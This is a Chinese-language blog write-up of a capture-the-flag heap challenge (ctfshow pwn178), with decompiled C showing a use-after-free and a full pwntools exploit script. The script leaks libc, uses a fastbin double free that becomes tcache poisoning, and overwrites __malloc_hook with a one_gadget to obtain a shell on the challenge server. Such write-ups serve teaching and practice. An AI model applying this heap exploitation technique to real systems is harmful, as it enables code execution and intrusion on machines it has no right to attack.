CTFshow-pwn178

[!NOTE]

注意远程环境,不要习惯性的看见18就使用一个libc去打

  • 远程环境:Ubuntu 18.04

libc 版本为 2.27-3ubuntu1.6_amd64

保护全开

niuyingying@niuyingying:~/ctf/pwn$ checksec ./pwn178
[*] '/home/niuyingying/ctf/pwn/pwn178'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled

分析程序主要流程

int sub_B80()
{
  puts("=========Menu===========");
  puts("1.Add a Flag");
  puts("2.Show Flag");
  puts("3.Edit Flag");
  puts("4.Delete Flag");
  puts("5.Exit");
  return printf("Input your choice:");
}
unsigned __int64 Add()
{
  int v0; // ebx
  void **v1; // rbx
  int v3; // [rsp+4h] [rbp-1Ch] BYREF
  unsigned __int64 v4; // [rsp+8h] [rbp-18h]

  v4 = __readfsqword(0x28u);
  if ( dword_20204C > 100 )
    puts("Enough!");
  v0 = dword_20204C;
  *((_QWORD *)&unk_202060 + v0) = malloc(0x18u);// *(&unk_202060 + i) = malloc(0x18u)
  puts("Please input the size of the flag");
  __isoc99_scanf("%d", &v3);
  *(_DWORD *)(*((_QWORD *)&unk_202060 + dword_20204C) + 8LL) = v3;// *(*(&unk_202060 + i) + 8LL) = size
  v1 = (void **)*((_QWORD *)&unk_202060 + dword_20204C);
  *v1 = malloc(v3);                             // *(*(&unk_202060 + i)) = malloc(szie)
  puts("please input the flag name:");
  read(0, **((void ***)&unk_202060 + dword_20204C), v3);
  puts("please input the flag idx:");
  read(0, (void *)(*((_QWORD *)&unk_202060 + dword_20204C) + 12LL), 12u);// (*(&unk_202060 + i) + 12LL) = idx
  *(_BYTE *)(*((_QWORD *)&unk_202060 + dword_20204C) + 23LL) = 0;// *(*(&unk_202060 + i) + 23LL) = 0
  puts("Done!");
  ++dword_20204C;
  return __readfsqword(0x28u) ^ v4;
}
unsigned __int64 Show()
{
  int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("Please input the index:");
  __isoc99_scanf("%d", &v1);
  if ( *((_QWORD *)&unk_202060 + v1) )
  {
    puts("name:");
    puts(**((const char ***)&unk_202060 + v1));
    puts("lenth:");
    puts((const char *)(*((_QWORD *)&unk_202060 + v1) + 12LL));
  }
  puts("Done!");
  return __readfsqword(0x28u) ^ v2;
}
int Edit()
{
  return puts("Sorry, you don't have permission to change the flag.");
}
unsigned __int64 Delete()
{
  unsigned int v0; // eax
  signed int v2; // [rsp+0h] [rbp-10h] BYREF
  int v3; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v4; // [rsp+8h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  puts("Please input the index:");
  __isoc99_scanf("%d", &v2);
  if ( (unsigned int)v2 >= 0x64 )
    exit(0);
  if ( *((_QWORD *)&unk_202060 + v2) )
    free(**((void ***)&unk_202060 + v2));       // UAF
  v0 = time(0);
  srand(v0);
  v3 = rand() % 10;
  if ( v3 > 1 )
    puts("Failed.");
  else
    puts("Succeed!");
  puts("Done!");
  return __readfsqword(0x28u) ^ v4;
}

与上一题类似,参考 pwn177 - AurY1n's Blog

需要注意的是,这道题 libc 版本较高,现代 tcache 不是只检查“上一个 free 的是不是同一个 chunk”,而是会检查“这个 chunk 是否已经在当前 tcache 链里”

所以我们可以通过 fastbin 更弱的经典检查来绕过从而利用 UAF ,后续既可以选择打 __malloc_hook ,也可以选择打 __free_hook

以及还应看到,虽然脚本打 hook 时是 fastbin dup 起手,但真正拿到 hook 附近地址时已经变成了 tcache poisoning , tcache 里存的是用户区指针,不是 chunk header,因此写目标地址时无需同 fastbin 那样 -0x10

from pwn import *

context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'debug'

elf = ELF('./pwn178')
libc = ELF('/home/niuyingying/ctf/pwn/ubuntu18_libc_2.27-3ubuntu1.6_extracted/lib/x86_64-linux-gnu/libc-2.27.so')

# io = process('./pwn178')
io = remote("pwn.challenge.ctf.show",28240)

# io = gdb.debug('./pwn178', gdbscript='set pagination off\nbreakrva 0xD72\nbreakrva 0xE64\nbreakrva 0xF83\nc')

def Add(size,text):
    io.recvuntil(b"Input your choice:")
    io.sendline(b"1")
    io.recvuntil(b"Please input the size of the flag\n")
    io.sendline(str(size).encode())
    io.recvuntil(b"please input the flag name:\n")
    io.send(text)
    io.recvuntil(b"please input the flag idx:")
    io.sendline(b"cccc")

def Show(i):
    io.recvuntil(b"Input your choice:")
    io.sendline(b"2")
    io.recvuntil(b"Please input the index:\n")
    io.sendline(str(i).encode())
    io.recvuntil(b"name:\n")

def Delete(i):
    io.recvuntil(b"Input your choice:")
    io.sendline(b"4")
    io.recvuntil(b"Please input the index:\n")
    io.sendline(str(i).encode())

Add(0x450,b"aaaa")   # 0
Add(0x10,b"aaaa")   # 1

Delete(0)
Show(0)

leak = u64(io.recv(6).ljust(8, b'\x00'))
print(hex(leak))

libc_base = leak - 0x60 - 0x10 - libc.sym['__malloc_hook']
print(hex(libc_base))

one_gadget = libc_base + 0x10a2fc
malloc_hook = libc_base + libc.sym['__malloc_hook']
realloc = libc_base + libc.sym['realloc']

# free_hook = libc_base + libc.sym['__free_hook']
# system = libc_base + libc.sym['system']

Delete(1)
Add(0x450,b"aaaa")  # 2

for i in range(7):
    Add(0x60,b"bbbb")

Add(0x60,b"bbbb")   # 10
Add(0x60,b"bbbb")   # 11
Add(0x10,b"bbbb")   # 12

for i in range(7):
    Delete(i + 3)

Delete(10)
Delete(11)
Delete(10)

for i in range(7):
    Add(0x60,b"bbbb")

Add(0x60,p64(malloc_hook - 0x13))   # 20
Add(0x60,b"bbbb")   # 21
Add(0x60,b"bbbb")   # 22
Add(0x60,b"\x00" * 0xb + p64(one_gadget) + p64(realloc + 6)) # 23

io.recvuntil(b"Input your choice:")
io.sendline(b"1")

# Add(0x60,p64(free_hook))   # 20
# Add(0x60,b"bbbb")   # 21
# Add(0x60,b"bbbb")   # 22
# Add(0x60,p64(system))   # 23
# Add(0x10,b"/bin/sh\x00")    #24
#
# Delete(24)

io.interactive()
posted @ 2026-08-10 16:33  AurY1n  阅读(1)  评论(0)    收藏  举报